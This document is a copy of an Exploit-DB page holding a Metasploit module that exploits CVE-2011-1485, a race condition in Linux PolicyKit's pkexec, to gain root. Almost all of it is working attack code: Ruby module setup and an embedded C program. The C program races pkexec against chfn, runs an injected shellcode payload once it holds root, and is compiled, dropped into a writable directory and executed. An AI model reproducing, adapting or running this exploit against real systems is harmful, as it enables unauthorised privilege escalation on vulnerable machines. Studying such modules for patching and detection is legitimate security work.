Linux PolicyKit – Race Condition Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2014-10-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35021/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class Metasploit4 < Msf::Exploit::Local
    Rank = GreatRanking
    
    include Msf::Exploit::EXE
    include Msf::Post::File
    
    include Msf::Exploit::Local::Linux
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Linux PolicyKit Race Condition Privilege Escalation',
    'Description' => %q(
    A race condition flaw was found in the PolicyKit pkexec utility and polkitd
    daemon. A local user could use this flaw to appear as a privileged user to
    pkexec, allowing them to execute arbitrary commands as root by running
    those commands with pkexec.
    
    Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
    libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
    (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
    ),
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'xi4oyu', # exploit
    '0a29406d9794e4f9b30b3c5d6702c708'# metasploit module
    ],
    'Platform' => [ 'linux'],
    'Arch' => [ ARCH_X86, ARCH_X86_64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets' =>
    [
    [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
    [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ]
    ],
    'DefaultTarget' => 0,
    'References'=>
    [
    [ 'CVE', '2011-1485' ],
    [ 'EDB', '17942' ],
    [ 'OSVDB', '72261' ]
    ],
    'DisclosureDate' => "Apr 01 2011"
    ))
    register_options([
    OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
    OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
    OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
    OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ])
    end
    
    def executable_path
    @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    @executable_path
    end
    
    def exploit
    main = %q^
    /*
    * Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
    * Author: xi4oyu
    * Tested on: rhel 6
    * CVE : 2011-1485
    * Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
    * U can reach us@ http://www.wooyun.org :)
    * 0a2940: some changes
    */
    /*
    #include <stdio.h>
    #include <limits.h>
    #include <time.h>
    #include <unistd.h>
    #include <termios.h>
    #include <sys/stat.h>
    #include <errno.h>
    #include <poll.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <string.h>
    */
    
    #define dprintf
    
    #define NULL ((void*)0)
    
    #define MAP_PRIVATE 0x02
    #define MAP_FIXED 0x10
    #define MAP_ANONYMOUS 0x20
    #define MAP_ANON MAP_ANONYMOUS
    #define MAP_FAILED ((void *)-1)
    
    #define PROT_READ0x1
    #define PROT_WRITE 0x2
    #define PROT_EXEC0x4
    
    #define O_CREAT 64
    #define O_RDWR 2
    
    #define POLLRDNORM0x0040
    
    typedef int __pid_t;
    typedef int __time_t;
    typedef
    struct {
    long __val[2];
    } __quad_t;
    typedef __quad_t __dev_t;
    typedef long __ino_t;
    typedef unsigned long __mode_t;
    typedef long __nlink_t;
    typedef unsigned int __uid_t;
    typedef unsigned int __gid_t;
    typedef long long __off_t;
    typedef long __blksize_t;
    typedef long long __blkcnt_t;
    struct _stat_buff {
    __dev_t st_dev; /* Device.*/
    unsigned short int __pad1;
    __ino_t st_ino; /* File serial number.*/
    __mode_t st_mode; /* File mode.*/
    __nlink_t st_nlink; /* Link count.*/
    __uid_t st_uid; /* User ID of the file's owner. */
    __gid_t st_gid; /* Group ID of the file's group.*/
    __dev_t st_rdev;/* Device number, if device.*/
    unsigned short int __pad2;
    __off_t st_size;/* Size of file, in bytes.*/
    __blksize_t st_blksize; /* Optimal block size for I/O.*/
    __blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
    __time_t st_atime;/* Time of last access.*/
    unsigned long int st_atimensec; /* Nscecs of last access.*/
    __time_t st_mtime;/* Time of last modification.*/
    unsigned long int st_mtimensec; /* Nsecs of last modification.*/
    __time_t st_ctime;/* Time of last status change.*/
    unsigned long int st_ctimensec; /* Nsecs of last status change.*/
    unsigned long int __unused4;
    unsigned long int __unused5;
    };
    
    struct _pollfd {
    int fd; /* file descriptor */
    short events; /* requested events */
    short revents;/* returned events */
    };
    typedef unsigned long size_t;
    extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
    extern int mprotect(void *__addr, size_t __len, int __prot);
    extern void exit(int __status);
    extern int printf(const char *__format, ...);
    extern __pid_t fork(void);
    extern __time_t time(__time_t *t);
    extern __pid_t getpid(void);
    extern __uid_t geteuid(void);
    extern void srand(unsigned int seed);
    extern int snprintf(char *str, size_t size, const char *format, ...);
    extern int pipe(int pipefd[2]);
    extern int close(int fd);
    extern void write(int fd, const void *buf, size_t count);
    extern int dup2(int oldfd, int newfd);
    extern void perror(const char *__s);
    extern void read(int fd, void *buf, size_t count);
    extern int execve(const char *filename, char *const argv[], char *const envp);
    extern int usleep(int usec);
    extern void *memset(void *s, int c, size_t n);
    extern void *memcpy(void * dst, const void *src, size_t n);
    extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
    extern char *strstr(const char *haystack, const char *needle);
    extern int rand(void);
    extern int unlink(const char *__name);
    
    int main(int argc,char *argv[], char ** envp)
    {
    
    __time_t tim_seed1;
    __pid_t pid_seed2;
    int result;
    struct _stat_buff stat_buff;
    
    char * chfn_path = "/usr/bin/chfn";
    char * cmd_path = "";
    
    char * pkexec_argv[] = {
    "/usr/bin/pkexec",
    "/bin/sh",
    "-c",
    cmd_path,
    NULL
    };
    int pipe1[2];
    int pipe2[2];
    int pipe3[2];
    __pid_t pid,pid2 ;
    char * chfn_argv[] = {
    "/usr/bin/chfn",
    NULL
    };
    
    char buff[8];
    char read_buff[4096];
    char real_path[512];
    
    int count = 0;
    int flag = 0;
    unsigned int usleep1 = 0;
    unsigned int usleep2 = 0;
    
    tim_seed1 = time(NULL);
    pid_seed2 = getpid();
    srand(tim_seed1+pid_seed2);
    
    if(!geteuid()){
    
    unlink(cmd_path);
    
    SHELLCODE
    
    int shellcode_size = 0;
    int i;
    unsigned long (*func)();
    func = mmap(NULL, 0x1000,
    PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_PRIVATE | MAP_ANONYMOUS,
    0, 0
    );
    mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
    dprintf("Copying %d bytes of shellcode\n", shellcode_size);
    //for (i = 0; i < shellcode_size; i++) {
    //(char)func[i] = (char)shellcode[i];
     memcpy(func,shellcode,shellcode_size);
    //}
    dprintf("Forking before calling shellcode: 0x%p\n", func);
    if (fork()) {
    exit(0);
    }
    func();
    }
    
    if(pipe(pipe1)){
    perror("pipe");
    exit(-2);
    }
    
    for(count = COUNT; count && !flag; count--){
    dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
    pid = fork();
    if( !pid ){
    // Parent
    if( !pipe(pipe2)){
    if(!pipe(pipe3)){
    pid2 = fork();
    if(!pid2){
    // Parent 2
    close(1);
    close(2);
    close(pipe1[0]);
    dup2(pipe1[1],2);
    dup2(pipe1[1],1);
    close(pipe1[1]);
    close(pipe2[0]);
    close(pipe3[1]);
    write(pipe2[1],"\xFF",1);
    read(pipe3[0],&buff,1);
    execve(pkexec_argv[0],pkexec_argv,envp);
    perror("execve pkexec");
    exit(-3);
    }
    close(0);
    close(1);
    close(2);
    close(pipe2[1]);
    close(pipe3[0]);
    read(pipe2[0],&buff,1);
    write(pipe3[1],"\xFF",1);
    usleep(usleep1+usleep2);
    execve(chfn_argv[0],chfn_argv,envp);
    perror("execve setuid");
    exit(1);
    }
    }
    perror("pipe3");
    exit(1);
    }
    
    //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
    memset(pipe3,0,8);
    
    struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
    pollfd->fd = pipe1[0];
    pollfd->events =POLLRDNORM;
    
    if(poll(pollfd,1,1000) < 0){
    perror("poll");
    exit(1);
    }
    
    if(pollfd->revents & POLLRDNORM ){
    memset(read_buff,0,4096);
    read(pipe1[0],read_buff,4095);
    if( strstr(read_buff,"does not match")){
    usleep1 += 100;
    usleep2 = rand() % 1000;
    }else{
    if(usleep1 > 0){
    usleep1 -= 100;
    }
    }
    }
    }
    result = 0;
    unlink(cmd_path);
    return result;
    }
    
    ^
    main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
    main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
    main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
    main.gsub!(/COUNT/, datastore["Count"].to_s)
    main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']
    
    cpu = nil
    if target['Arch'] == ARCH_X86
    cpu = Metasm::Ia32.new
    elsif target['Arch'] == ARCH_X86_64
    cpu = Metasm::X86_64.new
    end
    
    begin
    elf = Metasm::ELF.compile_c(cpu, main).encode_string
    rescue
    print_error "Metasm Encoding failed: #{$ERROR_INFO}"
    elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
    elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
    return
    end
    
    print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
    rm_f executable_path
    write_file(executable_path, elf)
    output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
    output.each_line { |line| print_debug line.chomp }
    
    stime = Time.now.to_f
    print_status "Starting the payload handler..."
    until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
    Rex.sleep(1)
    end
    end
    end